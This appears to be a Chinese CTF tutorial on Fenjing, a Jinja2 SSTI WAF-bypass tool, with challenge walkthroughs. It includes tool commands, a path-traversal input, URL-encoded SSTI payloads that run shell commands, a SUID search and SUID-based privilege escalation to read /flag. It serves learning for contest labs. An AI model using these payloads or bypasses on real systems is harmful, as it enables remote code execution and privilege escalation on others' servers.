fenjing(焚靖)
SSTI最高的山
下载地址Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 )
再贴一个运用方法Fenjing/examples.md at main · Marven11/Fenjing
焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。
焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF.
焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。这就代表着除了用脚本执行命令,还可以通过fuzz测试确定黑名单后利用fenjing构造获取执行命令的脚本,用于被限制无法直接执行的题目(比如输入必须是base64形式)
Fenjing的安装运行:
使用pip进行安装运行:
1 | pip install fenjing |
当然也可以直接下载github上的库,然后本地解压使用
使用:
webui
可以直接在webui里指定参数并自动攻击
在左边填入并点击开始分析,然后在右边输入命令即可
crack-request
还可以将HTTP请求写进一个文本文件里(比如说req.txt)然后进行攻击
文本文件内容如下:
1 | GET /?name=PAYLOAD HTTP/1.1 |
命令如下:
1 | python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000 |
通过命令行使用
各个功能的介绍:
- webui: 网页UI
- 顾名思义,网页UI
- 默认端口11451
- scan: 扫描整个网站
- 从网站中根据form元素提取出所有的表单并攻击
- 根据给定URL爆破参数,以及提取其他URL进行扫描
- 扫描成功后会提供一个模拟终端或执行给定的命令
- 示例:
python -m fenjing scan --url 'http://xxx/'
- crack: 对某个特定的表单进行攻击
- 需要指定表单的url, action(GET或POST)以及所有字段(比如’name’)
- 攻击成功后也会提供一个模拟终端或执行给定的命令
- 示例:
python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
- crack-path: 对某个特定的路径进行攻击
- 攻击某个路径(如
http://xxx.xxx/hello/<payload>)存在的漏洞 - 参数大致上和crack相同,但是只需要提供对应的路径
- 示例:
python -m fenjing crack-path --url 'http://xxx/hello/'
- 攻击某个路径(如
- crack-request: 读取某个请求文件进行攻击
- 读取文件里的请求,将其中的
PAYLOAD替换成实际的payload然后提交 - 根据HTTP格式会默认对请求进行urlencode, 可以使用
--urlencode-payload 0关闭
- 读取文件里的请求,将其中的
- crack-json: 攻击指定的JSON API
- 当一个API的body格式为JSON时攻击这个JSON中的某个键
- 示例:
python -m fenjing crack-json --url 'http://127.0.0.1:5000/crackjson' --json-data '{"name": "admin", "age": 24, "msg": ""}' --key msg
- crack-keywords: 读取文件中的所有关键字并攻击
- 从.txt, .py或者.json文件中读取所有关键字,对给定的shell指令生成对应的payload
- 示例:
python -m fenjing crack-keywords -k waf.json -o payload.jinja2 --command 'ls /'
一些特殊的选项:
注意:这个功能是围绕Unix Shell设计的,不建议在Windows下使用这个选项
--eval-args-payload:将payload放在GET参数x中提交--detect-mode:检测模式,可为accurate或fast--environment:指定模板的渲染环境,默认认为模板在flask中的render_template_string中渲染1
--tamper-cmd
:在payload发出前编码
- 例如:
--tamper-cmd 'rev':将payload反转后再发出--tamper-cmd 'base64':将payload进行base64编码后发出--tamper-cmd 'base64 | rev':将payload进行base64编码并反转后再发出
- 例如:
详细解释见examples.md(直接抄github上的描述了)
案例:
webui
就是通过fenjing提供的网页使用
指令:
1 | python -m fenjing webui |


基本觉得ssti注入点
再检验一下

回显49,确认为ssti注入
找到你下载fenjing的目录,在终端中打开
输入
1 | python -m fenjing webui |

按照要求填写好
目标链接:接收请求的地址,可以通过抓包获取,也可以直接查看网络

这里可以看到是./ssti
请求方式:GET&POST抓包获取
表单输入:注入的参数名称GET请求就是?后的,POST请求查看抓包结果在抓到的包最末尾一行通常是username=……或name=……这里的username或name就是表单
这道题最终填入
1 | 目标链接:http://node4.anna.nssctf.cn:28651/ssti |
然后开始分析

可以看到,已经绕过了,在下面执行命令
1 | ls / |
1 | cat /flag |

导入作为库使用
这种方法运用在输入方式被限制的题目
比如2025极客大挑战的ez_read
这道题再上传payload时限制了字符串长度,114或514,所以需要先编写绕过黑名单的payload,再满足字符串要求
极客大挑战 ez_read
先注册一个账号,读文件的题目先尝试找源码
直接读或直接目录遍历读不到
1 | 当循环之夜跃过安达卢西亚的小岛, |
读到3.txt看到了一个hint
猜测是双写绕过
输入
1 | ....//app.py |
读到源码了
1 | from flask import Flask, request, render_template, render_template_string, redirect, url_for, session |
发现在/profile中存在SSTI漏洞,但是有两个过滤,一个是字符串过滤只允许114或514个字符串;还有一个黑名单过滤
waf = [“class“, “base“, “subclasses“, “globals“, “import”,”self”,”session”,”blueprints”,”get_debug_flag”,”json”,”get_template_attribute”,”render_template”,”render_template_string”,”abort”,”redirect”,”make_response”,”Response”,”stream_with_context”,”flash”,”escape”,”Markup”,”MarkupSafe”,”tojson”,”datetime”,”cycler”,”joiner”,”namespace”,”lipsum”]
万能的fengjin又要出手了,依旧是利用fengjin的库写绕过脚本
1 | from fenjing import exec_cmd_payload, config_payload |
使用方法:将脚本放在fengjin的文件夹中,在此处打开终端输入
1 python example.py
这样写好的payload肯定不满足字符串要求,于是再写一个脚本,计算字符串数量,然后利用{#aaa#}填充达到要求,脚本如下
1 |
|
先ls /查看根目录发现flag文件,但是执行cat /flag时看不到文件
那就再看一下环境变量env
1 | %7B%7B%28_1919.__eq__%5B%27_%27%27_globals__%27%5D.sys.modules.os.popen%28%27env%27%29%29.read%28%29%7D%7D%7B%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%23%7D |
1 | CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP_ADDR=10.109.205.200 KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 CHALLENGE_019A2B37_D8ED_019A5423_5A85_SERVICE_HOST=10.109.205.200 CHALLENGE_019A302C_FAAF_019A1178_33A1_PORT=tcp://10.108.8.0:9999 CHALLENGE_019A7612_96BB_019A1189_B8EA_SERVICE_HOST=10.110.38.169 CHALLENGE_019A302C_FAAF_019A1178_33A1_SERVICE_PORT=9999 CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP_ADDR=10.110.38.169 HOSTNAME=challenge-019a2b37-d8ed-019a5423-5a85-5764748b44-z58gw CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP_PORT=8080 CHALLENGE_019A01D2_4CF4_019A1182_21E4_SERVICE_HOST=10.108.67.59 CHALLENGE_019A302C_FAAF_019A1178_33A1_SERVICE_PORT_PORT_9999=9999 CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP_PORT=8080 CHALLENGE_019A01D2_4CF4_019A1182_21E4_SERVICE_PORT_PORT_80=80 OLDPWD=/opt/___web_very_strange_42___ HOME=/opt/___web_very_strange_42___ CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A7612_86C2_019A3D0B_DC2F_PORT_3000_TCP=tcp://10.110.89.162:3000 PYTHONUNBUFFERED=1 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_SERVICE_HOST=10.110.89.162 CHALLENGE_019A2B37_D8ED_019A5423_5A85_SERVICE_PORT=8080 CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT=tcp://10.109.205.200:8080 GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D CHALLENGE_019A2B37_D8ED_019A7703_793E_SERVICE_HOST=10.106.216.17 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT_1337_TCP_ADDR=10.97.222.41 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT_8080_TCP_ADDR=10.106.216.17 CHALLENGE_019A7612_96BB_019A1189_B8EA_SERVICE_PORT=8080 CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT=tcp://10.110.38.169:8080 PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78 CHALLENGE_019A01D2_4CF4_019A1182_21E4_PORT=tcp://10.108.67.59:80 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_SERVICE_HOST=10.97.222.41 CHALLENGE_019A01D2_4CF4_019A1182_21E4_SERVICE_PORT=80 WERKZEUG_SERVER_FD=3 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT_8080_TCP_PORT=8080 CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT_1337_TCP_PORT=1337 CHALLENGE_019A2B37_D8ED_019A5423_5A85_PORT_8080_TCP=tcp://10.109.205.200:8080 CHALLENGE_019A2B37_D8ED_019A7703_793E_PORT_8080_TCP_PROTO=tcp CHALLENGE_019A8649_4AB3_019A10AD_1CF9_PORT_1337_TCP_PROTO=tcp PYTHONDONTWRITEBYTECODE=1 CHALLENGE_019A7612_96BB_019A1189_B8EA_PORT_8080_TCP=tcp://10.110.38.169:8080 CHALLENGE_019A01CB_BF3C_019A1B57_0AD5_SERVICE_PORT_PORT_8080=8080 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_SERVICE_PORT=3000 CHALLENGE_019A7612_86C2_019A3D0B_DC2F_PORT=tcp://10.110.89.162:3000 |
发现hint,用我提个权吧,不懂问ai
大致懂了,先找suid权限的文件,再通过那里来执行文件
于是开始执行指令,方式同上,不再赘述
1 | find / -perm -4000 -type f 2>/dev/null | grep -vE "/proc|/sys" |
查找suid权限文件
1 | %7B%7B%28%28g.pop%5B%27_%27%27_globals__%27%5D.__builtins__%5B%27__i%27%27mport__%27%5D%28%27os%27%29%29.popen%28%27find+%2F+-perm+-4000+-type+f+2%3E%2Fdev%2Fnull+%7C+grep+-vE+%5C%27%2Fproc%7C%2Fsys%5C%27%27%29%29.read%28%29%7D%7D%7B%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%23%7D |
文件如下:
1 | /usr/bin/su /usr/bin/gpasswd /usr/bin/chfn /usr/bin/chsh /usr/bin/umount /usr/bin/newgrp /usr/bin/passwd /usr/bin/mount /usr/local/bin/env |
发现env文件可以使用,于是构造payload
1 | /usr/local/bin/env cat /flag |
1 | %7B%7B%28%28g.pop%5B%27_%27%27_globals__%27%5D.__builtins__%5B%27__i%27%27mport__%27%5D%28%27os%27%29%29.popen%28%27%2Fusr%2Flocal%2Fbin%2Fenv+cat+%2Fflag%27%29%29.read%28%29%7D%7D%7B%23%23%7D |

拿到flag
通过命令行使用
以我们学校新生赛的一道ssti为例

上传{{7*7}}的base64编码
1 | e3s3Kjd9fQ== |
回显49,存在ssti漏洞

抓包,表单是quote

在kali下载fenjing,输入指令
1 | python -m fenjing crack --url 'http://node.szu.moe:10296/' --method POST --inputs quote --tamper-cmd 'base64' |
爆破成功后就可以执行命令了

然后就可以执行命令了
1 | ls / |
1 | cat /flag |
不对,查看环境变量
1 | env |

找到flag